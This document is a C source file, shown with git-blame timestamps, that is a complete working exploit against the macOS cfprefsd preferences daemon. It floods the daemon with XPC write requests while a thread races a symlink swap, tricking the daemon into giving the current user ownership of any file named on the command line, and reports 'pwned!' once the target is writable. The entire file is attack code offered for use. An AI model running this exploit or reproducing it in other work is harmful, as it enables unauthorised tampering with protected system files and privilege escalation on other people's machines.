2020-08-13 13:26:28 +08:00
|
|
|
#include <sandbox.h>
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
#include <stdlib.h>
|
|
|
|
|
#include <fcntl.h>
|
|
|
|
|
#include <pwd.h>
|
|
|
|
|
#include <string.h>
|
|
|
|
|
#include <unistd.h>
|
|
|
|
|
#include <mach/mach.h>
|
|
|
|
|
#include <xpc/xpc.h>
|
|
|
|
|
#include <pthread.h>
|
|
|
|
|
|
2020-08-18 16:18:38 +08:00
|
|
|
char *TARGET;
|
2020-08-13 13:26:28 +08:00
|
|
|
char *WRITABLE;
|
|
|
|
|
char *USER;
|
|
|
|
|
|
|
|
|
|
const int COUNT = 10000;
|
|
|
|
|
int status = 0;
|
|
|
|
|
bool pwned = false;
|
|
|
|
|
|
|
|
|
|
void *race(void *arg) {
|
|
|
|
|
while(!pwned) {
|
|
|
|
|
symlink(TARGET, "!");
|
|
|
|
|
unlink("!/a.plist");
|
|
|
|
|
rmdir("!");
|
|
|
|
|
unlink("!");
|
|
|
|
|
}
|
|
|
|
|
return NULL;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
void exploit() {
|
|
|
|
|
char *serviceName = "com.apple.cfprefsd.daemon";
|
|
|
|
|
status = 0;
|
|
|
|
|
|
|
|
|
|
xpc_connection_t conn;
|
|
|
|
|
xpc_object_t msg;
|
|
|
|
|
|
|
|
|
|
conn = xpc_connection_create_mach_service(serviceName, NULL, 0);
|
|
|
|
|
if (conn == NULL) {
|
|
|
|
|
perror("xpc_connection_create_mach_service");
|
|
|
|
|
return;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
xpc_connection_set_event_handler(conn, ^(xpc_object_t obj) {
|
|
|
|
|
status++;
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
xpc_connection_resume(conn);
|
|
|
|
|
|
|
|
|
|
msg = xpc_dictionary_create(NULL, NULL, 0);
|
|
|
|
|
xpc_dictionary_set_int64(msg, "CFPreferencesOperation", 1);
|
|
|
|
|
xpc_dictionary_set_string(msg, "CFPreferencesUser", USER);
|
|
|
|
|
char writable_subpath[0x1000];
|
|
|
|
|
sprintf(writable_subpath, "%s%s", WRITABLE, "/!/a.plist");
|
|
|
|
|
xpc_dictionary_set_string(msg, "CFPreferencesDomain", writable_subpath);
|
|
|
|
|
xpc_dictionary_set_bool(msg, "CFPreferencesUseCorrectOwner", true);
|
|
|
|
|
xpc_dictionary_set_bool(msg, "CFPreferencesAvoidCache", true);
|
|
|
|
|
xpc_dictionary_set_string(msg, "Key", "key");
|
|
|
|
|
xpc_dictionary_set_string(msg, "Value", "value");
|
|
|
|
|
|
|
|
|
|
for(int i = 0; i < COUNT; i++) {
|
|
|
|
|
xpc_connection_send_message(conn, msg);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
while(status < COUNT) {
|
|
|
|
|
usleep(100000);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
void *pwn(void *arg) {
|
|
|
|
|
while(1) {
|
2020-08-18 16:18:38 +08:00
|
|
|
int testaccess = access(TARGET, W_OK);
|
|
|
|
|
if(!testaccess) {
|
|
|
|
|
printf("pwned! %s is now writable!\n", TARGET);
|
2020-08-13 13:26:28 +08:00
|
|
|
pwned = true;
|
|
|
|
|
break;
|
|
|
|
|
} else {
|
2020-08-18 16:18:38 +08:00
|
|
|
perror("access");
|
2020-08-13 13:26:28 +08:00
|
|
|
}
|
|
|
|
|
usleep(1000000);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return NULL;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
static void
|
|
|
|
|
connection_handler(xpc_connection_t peer)
|
|
|
|
|
{
|
|
|
|
|
xpc_connection_set_event_handler(peer, ^(xpc_object_t event) {
|
|
|
|
|
printf("Message received: %p\n", event);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
xpc_connection_resume(peer);
|
|
|
|
|
}
|
|
|
|
|
|
2020-08-18 16:18:38 +08:00
|
|
|
void make_writable(char * target) {
|
2020-08-13 13:26:28 +08:00
|
|
|
struct passwd *pw = getpwuid(getuid());
|
|
|
|
|
if(!pw) {
|
|
|
|
|
perror("getpwuid");
|
|
|
|
|
exit(1);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
WRITABLE = pw->pw_dir;
|
|
|
|
|
USER = pw->pw_name;
|
2020-08-18 16:18:38 +08:00
|
|
|
TARGET = target;
|
2020-08-13 13:26:28 +08:00
|
|
|
|
|
|
|
|
setvbuf(stdout, 0, 2, 0);
|
|
|
|
|
chdir(WRITABLE);
|
|
|
|
|
|
|
|
|
|
pthread_t thread[2];
|
|
|
|
|
pthread_create(&thread[0], NULL, race, NULL);
|
|
|
|
|
pthread_create(&thread[1], NULL, pwn, NULL);
|
|
|
|
|
while(!pwned) {
|
|
|
|
|
printf("Trying %d calls...\n", COUNT);
|
|
|
|
|
exploit();
|
|
|
|
|
}
|
2020-08-18 15:55:24 +08:00
|
|
|
unlink("!/a.plist");
|
|
|
|
|
rmdir("!");
|
|
|
|
|
unlink("!");
|
2020-08-13 13:26:28 +08:00
|
|
|
}
|
2020-08-18 16:18:38 +08:00
|
|
|
|
|
|
|
|
int main(int argc, char *argv[]) {
|
|
|
|
|
if (argc < 2) {
|
|
|
|
|
printf("Usage: %s /file/to/make/writable\n", argv[0]);
|
|
|
|
|
return -1;
|
|
|
|
|
}
|
|
|
|
|
make_writable(argv[1]);
|
|
|
|
|
return 0;
|
|
|
|
|
}
|
|
|
|
|
|